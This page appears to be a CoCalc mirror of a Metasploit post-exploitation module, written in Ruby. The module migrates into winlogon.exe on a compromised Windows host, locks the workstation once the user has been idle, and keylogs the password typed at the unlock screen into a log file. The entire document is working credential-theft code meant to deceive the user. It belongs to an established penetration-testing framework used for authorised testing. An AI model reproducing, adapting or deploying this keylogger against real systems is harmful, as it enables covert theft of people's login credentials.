Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/capture/lockout_keylogger.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Windows Capture Winlogon Lockout Credential Keylogger',
14
'Description' => %q{
15
This module migrates and logs Microsoft Windows user's passwords via
16
Winlogon.exe using idle time and natural system changes to give a
17
false sense of security to the user.
18
},
19
'License' => MSF_LICENSE,
20
'Author' => [ 'mubix', 'cg' ],
21
'Platform' => ['win'],
22
'SessionTypes' => ['meterpreter'],
23
'References' => [['URL', 'http://blog.metasploit.com/2010/12/capturing-windows-logons-with.html']],
24
'Compat' => {
25
'Meterpreter' => {
26
'Commands' => %w[
27
core_migrate
28
stdapi_railgun_api
29
stdapi_sys_process_get_processes
30
stdapi_sys_process_getpid
31
stdapi_ui_get_idle_time
32
stdapi_ui_get_keys_utf8
33
stdapi_ui_start_keyscan
34
stdapi_ui_stop_keyscan
35
]
36
}
37
},
38
'Notes' => {
39
'Stability' => [CRASH_SAFE],
40
'SideEffects' => [SCREEN_EFFECTS],
41
'Reliability' => []
42
}
43
)
44
)
45
46
register_options(
47
[
48
OptInt.new('INTERVAL', [true, 'Time between key collection during logging', 30]),
49
OptInt.new('HEARTBEAT', [true, 'Heart beat between idle checks', 30]),
50
OptInt.new('LOCKTIME', [true, 'Amount of idle time before lockout', 300]),
51
OptInt.new('PID', [false, 'Target PID, only needed if multiple winlogon.exe instances exist', nil]),
52
OptBool.new('WAIT', [true, 'Wait for lockout instead of default method', false])
53
]
54
)
55
end
56
57
def check_admin
58
status = client.railgun.shell32.IsUserAnAdmin()
59
return status['return']
60
end
61
62
def get_winlogon
63
winlogon = []
64
session.sys.process.get_processes.each do |x|
65
if x['name'].downcase == 'winlogon.exe'
66
winlogon << x
67
end
68
end
69
if winlogon.empty?
70
print_status('Winlogon not found! Exiting')
71
return 'exit'
72
elsif winlogon.size == 1
73
return winlogon[0]['pid']
74
else
75
print_error('Multiple WINLOGON processes found, run manually and specify pid')
76
print_error('Be wise. XP / VISTA / 7 use session 0 - 2k3/2k8 use RDP session')
77
winlogon.each do |tp|
78
print_status("Winlogon.exe - PID: #{tp['pid']} - Session: #{tp['session']}")
79
end
80
return 'exit'
81
end
82
end
83
84
# Function for starting the keylogger
85
def startkeylogger(session)
86
print_status('Starting the keystroke sniffer...')
87
session.ui.keyscan_start
88
return true
89
rescue StandardError
90
print_error('Failed to start Keylogging!')
91
return false
92
end
93
94
# Function for Collecting Capture (pulled from Carlos Perez's Keylogrecorder)
95
def keycap(session, keytime, logfile)
96
rec = 1
97
# Creating DB for captured keystrokes
98
print_status("Keystrokes being saved in to #{logfile}")
99
# Inserting keystrokes every number of seconds specified
100
print_status('Recording ')
101
while rec == 1
102
# getting Keystrokes
103
data = session.ui.keyscan_dump
104
outp = ''
105
data.unpack('n*').each do |inp|
106
fl = (inp & 0xff00) >> 8
107
vk = (inp & 0xff)
108
kc = VirtualKeyCodes[vk]
109
110
f_shift = fl & (1 << 1)
111
_f_ctrl = fl & (1 << 2)
112
_f_alt = fl & (1 << 3)
113
114
if kc
115
name = (((f_shift != 0) && (kc.length > 1)) ? kc[1] : kc[0])
116
case name
117
when /^.$/
118
outp << name
119
when /shift|click/i
120
# ignore
121
when 'Space'
122
outp << ' '
123
else
124
outp << " <#{name}> "
125
end
126
else
127
outp << ' <0x%.2x> ' % vk
128
end
129
end
130
131
select(nil, nil, nil, 2)
132
file_local_write(logfile, "#{outp}\n")
133
if !outp.nil? && (outp.chomp.lstrip != '')
134
print_status("Password?: #{outp}")
135
end
136
137
still_locked = 1
138
# Check to see if the screen saver is on, then check to see if they have logged back in yet.
139
screensaver = client.railgun.user32.SystemParametersInfoA(114, nil, 1, nil)['pvParam'].unpack('C*')[0]
140
if screensaver == 0
141
still_locked = client.railgun.user32.GetForegroundWindow()['return']
142
end
143
if still_locked == 0
144
print_status('They logged back in, the last password was probably right.')
145
raise 'win'
146
end
147
currentidle = session.ui.idle_time
148
if screensaver == 0
149
print_status("System has currently been idle for #{currentidle} seconds and the screensaver is OFF")
150
else
151
print_status("System has currently been idle for #{currentidle} seconds and the screensaver is ON")
152
end
153
select(nil, nil, nil, keytime.to_i)
154
end
155
rescue StandardError => e
156
if e.message != 'win'
157
print_line
158
print_status("#{e.class} #{e}")
159
end
160
print_status('Stopping keystroke sniffer...')
161
session.ui.keyscan_stop
162
end
163
164
def run
165
# Make sure we are on a Windows host
166
if client.platform != 'windows'
167
print_error('This module does not support this platform.')
168
return
169
end
170
171
# Log file variables
172
host = session.session_host
173
filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S') # Create Filename info to be appended to downloaded files
174
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'smartlocker') # Create a directory for the logs
175
::FileUtils.mkdir_p(logs) # Create the log directory
176
logfile = logs + ::File::Separator + host + filenameinfo + '.txt' # Logfile name
177
178
# Check admin status
179
admin = check_admin
180
if admin == false
181
print_error('Must be an admin to migrate into Winlogon.exe, exiting')
182
return
183
end
184
185
mypid = session.sys.process.getpid
186
if datastore['PID'] == 0
187
targetpid = get_winlogon
188
if targetpid == 'exit'
189
return
190
end
191
192
print_status("Found WINLOGON at PID:#{targetpid}")
193
else
194
targetpid = datastore['PID']
195
print_status("WINLOGON PID:#{targetpid} specified. I'm trusting you...")
196
end
197
198
if mypid == targetpid
199
print_status('Already in WINLOGON no need to migrate')
200
else
201
print_status("Migrating from PID:#{mypid}")
202
begin
203
session.core.migrate(targetpid)
204
rescue StandardError
205
print_error('Unable to migrate, try getsystem first')
206
return
207
end
208
print_good("Migrated to WINLOGON PID: #{targetpid} successfully")
209
end
210
211
# Override SystemParametersInfo Railgun call to check for Screensaver
212
# Unfortunately 'pvParam' changes it's type for each uiAction so
213
# it cannot be changed in the regular railgun defs
214
client.railgun.add_function('user32', 'SystemParametersInfoA', 'BOOL', [
215
['DWORD', 'uiAction', 'in'],
216
['DWORD', 'uiParam', 'in'],
217
['PBLOB', 'pvParam', 'out'],
218
['DWORD', 'fWinIni', 'in']
219
])
220
221
print_good("Keylogging for #{client.info}")
222
file_local_write(logfile, "#{client.info}\n")
223
if datastore['WAIT']
224
print_status('Waiting for user to lock out their session')
225
locked = false
226
while locked == false
227
if client.railgun.user32.GetForegroundWindow()['return'] != 0
228
locked = true
229
print_status('Session has been locked out')
230
else
231
# sleep(keytime.to_i) / hardsleep applied due to missing loging right after lockout.. no good way to solve this
232
select(nil, nil, nil, 2)
233
end
234
end
235
else
236
currentidle = session.ui.idle_time
237
print_status("System has currently been idle for #{currentidle} seconds")
238
while currentidle <= datastore['LOCKTIME']
239
print_status("Current Idle time: #{currentidle} seconds")
240
select(nil, nil, nil, datastore['HEARTBEAT'])
241
currentidle = session.ui.idle_time
242
end
243
client.railgun.user32.LockWorkStation()
244
if client.railgun.user32.GetForegroundWindow()['return'] == 0
245
print_error('Locking the workstation failed, trying again..')
246
client.railgun.user32.LockWorkStation()
247
if client.railgun.user32.GetForegroundWindow()['return'] == 0
248
print_error('The system will not lock this session, nor will it be used for user login, exiting...')
249
return
250
end
251
print_status('Locked this time, time to start keyloggin...')
252
end
253
end
254
255
if startkeylogger(session)
256
keycap(session, datastore['INTERVAL'], logfile)
257
end
258
end
259
end
260
261